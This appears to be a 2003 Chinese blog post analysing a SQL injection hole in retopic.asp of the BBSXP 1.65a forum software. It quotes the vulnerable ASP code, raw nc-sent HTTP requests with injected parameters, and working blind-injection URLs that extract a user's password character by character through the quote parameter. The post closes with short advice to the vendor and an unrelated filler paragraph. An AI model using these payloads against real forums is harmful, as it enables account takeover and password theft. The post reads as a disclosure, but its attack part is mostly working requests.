[摘要]内容:飞翔的背心@2003.7.3 不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else....
内容:
飞翔的背心@2003.7.3
不得不说,这个BBSXP的缩进实在是混乱,前些天调试retopic.asp的时候,真是把我看得差点把键盘都砸了。简简单单的几个if..then..else..endif跨度大得跟什么似的,看得我头皮发麻,两腿抽筋,最后幸亏editplus里面可以ctrl+],不然真不知道最后要走多少弯路。嗯,火死了……
retopic.asp行199开始是这样子写的,仍然用老夫的背心打赌,这种程度的漏洞,只有高中生会犯,嘻嘻……
if Request("retopicid")<>"" then
sql="select * from reforum where id="&Request("retopicid")&""
rs.Open sql,Conn
else
sql="select * from forum where ID="&Request("id")&" and forumid="&Request("forumid")&""
rs.Open sql,Conn
end if
要一口咬定这个是漏洞,光乱说是不行的。这个地方,我测试了一下,确实有问题,如果大家有时间,可以下一个1.65a版下来看看,很容易利用,当然,如果大家只对方法感兴趣的话,往下面看吧。不过长时间不去思考,脑袋会退化的,:-)。
粗略一看,可以提交retopicid或者提交id和forumid来利用。由分析的结果可以知道,12行到169行是一个大大的if语句,如果进入了这个条件的话,那么会被一个succeed()函数结束掉,所以要绕开这个条件。我们还是从NC过去正常的提交着手,如果你不太清楚过程,请参看这个系列的(一)。
GET /bbsxp/retopic.asp?retopicid=wahahaha HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
出错了,呵呵,返回来的数据有“非法操作”的字样。看看源代码,原来犯了一个错误,forumid没有提交,马上改正!NC过去,提交如下数据:
GET /bbsxp/retopic.asp?forumid=1&retopicid=1%20and%201=1 HTTP/1.1
Referer: http://localhost/bbsxp/showtopic.asp?id=1&forumid=1&page=0
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Host: localhost
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: eremite=0; now=2002%2D7%2D3+19%3A24%3A39; onlinetime=2002%2D7%2D3+19%3A18%3A27; username=never; userpass=FuckUSA!!; addmin=0; skins=3; ASPSESSIONIDGGGGGLAG=FKPFCAMCKHEMGDOMCPKKKDIH
哈哈,注入成功了吧?只要修改retopicid的值就可以慢慢的猜别人的密码了。其实要是提交id和forumid来利用,也是同样的方法,就不继续说了。一句话,写一个perl程序比较好,手工的话,呵呵……
其实还有一个简单的方法,用提交id和forumid来利用。先到对方的BBSXP注册登陆,这样浏览器就记录了很多东西,我们只要在地址栏里面就可以猜了。为了明明白白的知道是否猜对,我们可以利用一下这一句话:
if Request("quote")=1 then
content =rs("content")
quote="
原文由 "&rs("username")&" 发表:"&vbCrlf&""&content&" |
|
"
end if
我们在提交的地址中包含quote,猜测得正确的话,就可以看到引用的文章,猜错的话,就是500错误。例如:
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='c')&forumid=1"e=1
这个注入的条件是真,也就是说never的密码第三位是c,返回的表单中包含了id为1的文章的内容。如果我的猜测错误,比如这样子:
http://localhost/bbsxp/retopic.asp?id=1%20and%201=(select%20count(*)%20from%20user%20where%20username='never'%20and%20right(left(userpass,3),1)='3')&forumid=1"e=1
返回给浏览器的信息就出现了错误,我的机器上是
ADODB.Field 错误 '800a0bcd'
BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。
/bbsxp/retopic.asp,行212
呵呵,这是很容易分辨的,而且也很容易实现注入。
顺便说几句话,如果BBSXP的人看到这里的话,强烈建议你们区分开request.form和request.querystring,而不要图方便直接用request。至于原因,你们自己去想吧,呵呵
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……